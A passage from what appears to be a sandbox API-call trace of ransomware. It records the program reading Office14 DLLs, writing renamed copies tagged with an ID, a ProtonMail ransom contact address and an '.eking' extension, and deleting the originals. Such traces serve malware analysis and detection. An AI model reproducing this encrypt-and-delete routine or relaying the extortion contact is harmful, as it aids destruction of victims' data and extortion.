lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xa9a0, lpOverlapped=0x0) returned 1 [0272.001] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0272.001] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0272.001] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0272.001] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xa990, lpOverlapped=0x0) returned 1 [0272.002] FlushFileBuffers (hFile=0xc0) returned 1 [0272.387] FlushFileBuffers (hFile=0x1c8) returned 1 [0272.728] CloseHandle (hObject=0xc0) returned 1 [0272.755] CloseHandle (hObject=0x1c8) returned 1 [0272.758] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0272.810] SetEvent (hEvent=0xe0) returned 1 [0272.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0272.811] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=342960) returned 1 [0272.811] CloseHandle (hObject=0x1c8) returned 1 [0272.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0272.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0272.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0272.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0272.811] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0272.811] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0272.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0272.812] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x53bb0, lpOverlapped=0x0) returned 1 [0272.895] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x53bc0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x53bc0, lpOverlapped=0x0) returned 1 [0273.332] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0273.333] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.333] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.333] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x53bb0, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x53bb0, lpOverlapped=0x0) returned 1 [0273.334] FlushFileBuffers (hFile=0x1c8) returned 1 [0273.345] FlushFileBuffers (hFile=0xc0) returned 1 [0273.354] CloseHandle (hObject=0x1c8) returned 1 [0273.354] CloseHandle (hObject=0xc0) returned 1 [0273.355] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 1 [0273.360] SetEvent (hEvent=0xe0) returned 1 [0273.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0273.361] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=55744) returned 1 [0273.361] CloseHandle (hObject=0xc0) returned 1 [0273.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0273.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0273.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0273.361] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0273.362] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0273.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0273.362] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xd9c0, lpOverlapped=0x0) returned 1 [0273.369] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd9d0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xd9d0, lpOverlapped=0x0) returned 1 [0273.371] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0273.371] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.372] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.372] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd9c0, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xd9c0, lpOverlapped=0x0) returned 1 [0273.373] FlushFileBuffers (hFile=0xc0) returned 1 [0273.385] FlushFileBuffers (hFile=0x1c8) returned 1 [0273.391] CloseHandle (hObject=0xc0) returned 1 [0273.392] CloseHandle (hObject=0x1c8) returned 1 [0273.392] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 1 [0273.394] SetEvent (hEvent=0xe0) returned 1 [0273.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0273.395] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=691616) returned 1 [0273.395] CloseHandle (hObject=0x1c8) returned 1 [0273.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0273.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0273.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0273.395] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0273.396] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0273.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0273.396] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xa8da0, lpOverlapped=0x0) returned 1 [0273.413] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa8db0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xa8db0, lpOverlapped=0x0) returned 1 [0273.430] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0273.430] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.493] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.493] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa8da0, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xa8da0, lpOverlapped=0x0) returned 1 [0273.496] FlushFileBuffers (hFile=0x1c8) returned 1 [0273.731] FlushFileBuffers (hFile=0xc0) returned 1 [0273.890] CloseHandle (hObject=0x1c8) returned 1 [0273.891] CloseHandle (hObject=0xc0) returned 1 [0273.891] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 1 [0273.900] SetEvent (hEvent=0xe0) returned 1 [0273.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0273.901] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=318368) returned 1 [0273.901] CloseHandle (hObject=0xc0) returned 1 [0273.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0273.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0273.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0273.902] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0273.902] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0273.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0273.950] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x4dba0, lpOverlapped=0x0) returned 1 [0273.984] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x4dbb0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x4dbb0, lpOverlapped=0x0) returned 1 [0273.990] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0273.991] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.991] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0273.991] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x4dba0, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x4dba0, lpOverlapped=0x0) returned 1 [0273.992] FlushFileBuffers (hFile=0xc0) returned 1 [0274.018] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.304] CloseHandle (hObject=0xc0) returned 1 [0274.305] CloseHandle (hObject=0x1c8) returned 1 [0274.305] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 1 [0274.309] SetEvent (hEvent=0xe0) returned 1 [0274.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.312] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=502168) returned 1 [0274.312] CloseHandle (hObject=0x1c8) returned 1 [0274.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0274.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0274.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0274.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.312] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.312] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0274.313] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x7a998, lpOverlapped=0x0) returned 1 [0274.388] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7a9a0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x7a9a0, lpOverlapped=0x0) returned 1 [0274.439] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0274.440] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.440] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.440] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7a998, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x7a998, lpOverlapped=0x0) returned 1 [0274.442] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.555] FlushFileBuffers (hFile=0xc0) returned 1 [0274.558] CloseHandle (hObject=0x1c8) returned 1 [0274.558] CloseHandle (hObject=0xc0) returned 1 [0274.559] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 1 [0274.563] SetEvent (hEvent=0xe0) returned 1 [0274.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0274.564] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=385368) returned 1 [0274.564] CloseHandle (hObject=0xc0) returned 1 [0274.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0274.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0274.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0274.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0274.564] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.565] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0274.565] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x5e158, lpOverlapped=0x0) returned 1 [0274.574] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5e160, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x5e160, lpOverlapped=0x0) returned 1 [0274.580] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0274.580] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.580] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: 